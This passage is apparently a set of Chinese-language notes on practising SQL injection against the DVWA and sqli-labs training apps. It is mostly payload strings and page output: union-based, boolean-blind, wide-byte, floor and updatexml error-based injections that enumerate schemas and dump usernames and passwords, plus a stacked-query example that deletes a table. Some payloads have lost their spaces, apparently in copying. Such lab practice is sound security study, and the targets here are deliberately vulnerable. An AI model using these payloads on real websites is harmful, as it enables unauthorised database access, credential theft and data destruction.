1' union select 1,database()# #这样我们就会得到我们当前数据库:当然这个数字没啥含义 1'unionselect database(),2# --当我们这样输入得到的结果是一样的
5、获取数据库中的表
1 2 3
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # --这是一整个 1'unionselect1,table_name from information_schema.tables where table_schema='dvwa' # --两种方式都可以,下边符合我们房前环境,上边比较通用
此处用group_concat:可用concat函数替代,只是不集中在一起而已
group_concat:可以把同一分组中的值链接在一起,
此用了information_schema.tables当中存储了数据表的 元数据信息介绍:
字段
含义
Table_catalog
数据表登记目录
Table_schema
数据表所属的数据库名
Table_name
表名称
Table_type
表类型[system view|base table]
Engine
使用的数据库引擎[MyISAM|CSV|InnoDB]
Version
版本,默认值10
Row_format
行格式[Compact|Dynamic|Fixed]
Table_rows
表里所存多少行数据
Avg_row_length
平均行长度
Data_length
数据长度
Max_data_length
最大数据长度
Index_length
索引长度
Data_free
空间碎片
Auto_increment
做自增主键的自动增量当前值
Create_time
表的创建时间
Update_time
表的更新时间
Check_time
表的检查时间
Table_collation
表的字符校验编码集
Checksum
校验和
Create_options
创建选项
Table_comment
表的注释、备注
6、获取当前表中字段名
1 2
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 1'unionselect1,column_name from information_schema.columns where table_name='users' #
7、下载数据(获取字段信息)
1
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Ⅲ:使用sqlmap注入(待测试)
sqlmap可以代替我们进行快速自动注入,sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测
?id=1' and length(database())>5 --+ ?id=1'and length(database())<10--+ ?id=1' and length(database())=8 --+ 【length=8】
3、猜当前裤名
方法1:采用substr函数
1 2
?id=1' and substr(database(),1,1)>'r'--+ ?id=1'and substr(database(),1,1)<'t'--+ ?id=1' and substr(database(),1,1)='s'--+ ?id=1' and substr(database(),2,1)='e'--+ ... ?id=1' and substr(database(),8,1)='y'--+ --【security】
方法2:使用ascii函数和substr函数
1 2
?id=1' and ascii(substr(database(),1,1))>114 --+ ?id=1'and ascii(substr(database(),1,1))<116--+ ?id=1' and ascii(substr(database(),1,1))=115 --+ --【security】
方法3:使用left函数
1 2 3
?id=1' and left(database(),1)>'r'--+ ?id=1'andleft(database(),1)<'t'--+ ?id=1' and left(database(),1)='s' --+ ?id=1' and left(database(),2)='se' --+ ?id=1' and left(database(),3)='sec' --+ ... ?id=1' and left(database(),8)='security' --+ --【security】
方法四:使用burp
4.判断表个数
count()函数是用来统计表中记录的一个函数,返回匹配条件的行数。
1 2 3
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+ ?id=1'and (selectcount(table_name) from information_schema.tables where table_schema=database())=4--+ --【4个表】
5、判断表的长度
limit可以被用于强制select语句返回指定的条数。
length:获取数据串的长度
1 2 3 4
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ --【第一个表长度为6】 ?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+ --【第二个表长度为8】
6、猜表名
用substr函数:截取字符串,可以指定起始位置和长度
1 2 3 4 5 6 7 8
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+ ?id=1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f'--+ ?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+ ?id=1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s'--+
#确定字段个数 ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+ ?id=1'and (selectcount(column_name) from information_schema.columns where table_schema=database() and table_name ='users')=3--+ 【字段个数为3】
#确定字段名的长度 ?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+ ?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name ='users' limit 0,1))=2--+ ?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+ --【第一个字段长度为2,第二个字段长度为8】 #猜字段名 同上使用burp ?id=1'and substr((select column_name from information_schema.columns where table_schema=database() and table_name ='users' limit 0,1),1,1)='i'--+ --【...id,username,password...】
#确定字段数据长度 ?id=1' and length((select username from users limit 0,1))=4 --+ --【第一个字段数据长度为4】 #猜解字段数据 同上使用burp ?id=1'and substr((select username from users limit 0,1),1,1)='d'--+ ?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79 --+ --【第一个username数据为dumb】
1、测试 ?id=1 ''' Welcome Dhakkan Your Login name:Dumb Your Password:Dumb ''' ?id=1' '''Hint: The Query String you input is escaped as : 1 \' The Query String you input in Hex becomes : 31205c27 ''' --当输入 ' 被编成了\ 所以推测应该是函数转义:addslashes函数
2、确定字段 ?id=1%df' order by 4 --+ ''' 输入3 正常,but4不正常了,所以判断字段数为3 ''' 3、确定显示位 ?id=-1%aa'unionselect1,2,3--+ ''' Welcome Dhakkan Your Login name:2 Your Password:3 ''' --确定了回显位置是 2 3
4、查询信息 #查询数据库 ?id=-1%aa' union select 1,2,database() --+ ''' Welcome Dhakkan Your Login name:2 Your Password:security ''' --得到数据库是security #查询表名 ?id=-1%aa'unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ''' Welcome Dhakkan Your Login name:2 Your Password:emails,referers,uagents,users '''
#查询字段名 ?id=-1%aa' union select 1, 2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+ ''' Welcome Dhakkan Your Login name:2 Your Password:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password,level,id,username,password ''' --这里表名table_name的值必须转换成16进制,如果不用16进制就得用引号包裹,当有addlashes函数就会转义引号,就会导致查询失败,使用16进制避免了这个问题。 #查询字段信息 ---待更新 ?id=-1%aa'unionselect1,group_concat(username),group_concat(password) from users --+ ''' Welcome Dhakkan Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 '''
待更新
使用sqlmap:
4、报错注入(需要补充)
floor报错注入/双查询注入
双查询报错/floor报错注入是由于rand(),count(),group by ,floor四个语句联合使用造成的,缺一不可。
?id=-1' union select 1,count(*), concat((select database()), floor(rand(1)*2))as a from information_schema.tables group by a --+
因为rand的随机性:所以我们每次不一定都可以看到正常页面,当我们加上1之后,就i可以了
双查询注入
当group by 在查询虚拟表和插入虚拟表时,如果这两次a语句执行的结果不一致就会引发错误,错误提示信息是插入的主键重复,通过自定义提示里报错信息中的主键值来获得敏感信息。
payloads
1 2 3 4 5 6 7 8 9 10
#获取数据库名 ?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+ 或者 ?id=1'and (select1from (selectcount(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables groupby x)a) --+
#获取表名 ?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))as a from information_schema.tables group by a--+ 或者 ?id=1'and (select1from (selectcount(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables groupby x)a) --+
爆库 ?id=1and updatexml(1,concat(0x7e,(SELECTdistinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表 ?id=1and updatexml(1,concat(0x7e,(SELECTdistinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段 ?id=1and updatexml(1,concat(0x7e,(SELECTdistinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容 ?id=1and updatexml(1,concat(0x7e,(SELECTdistinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
爆表名 ?id=1and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)# 爆列名 ?id=1and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)# 爆字段 ?id=1and updatexml(1,make_set(3,'~',(select data from users)),1)#
原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除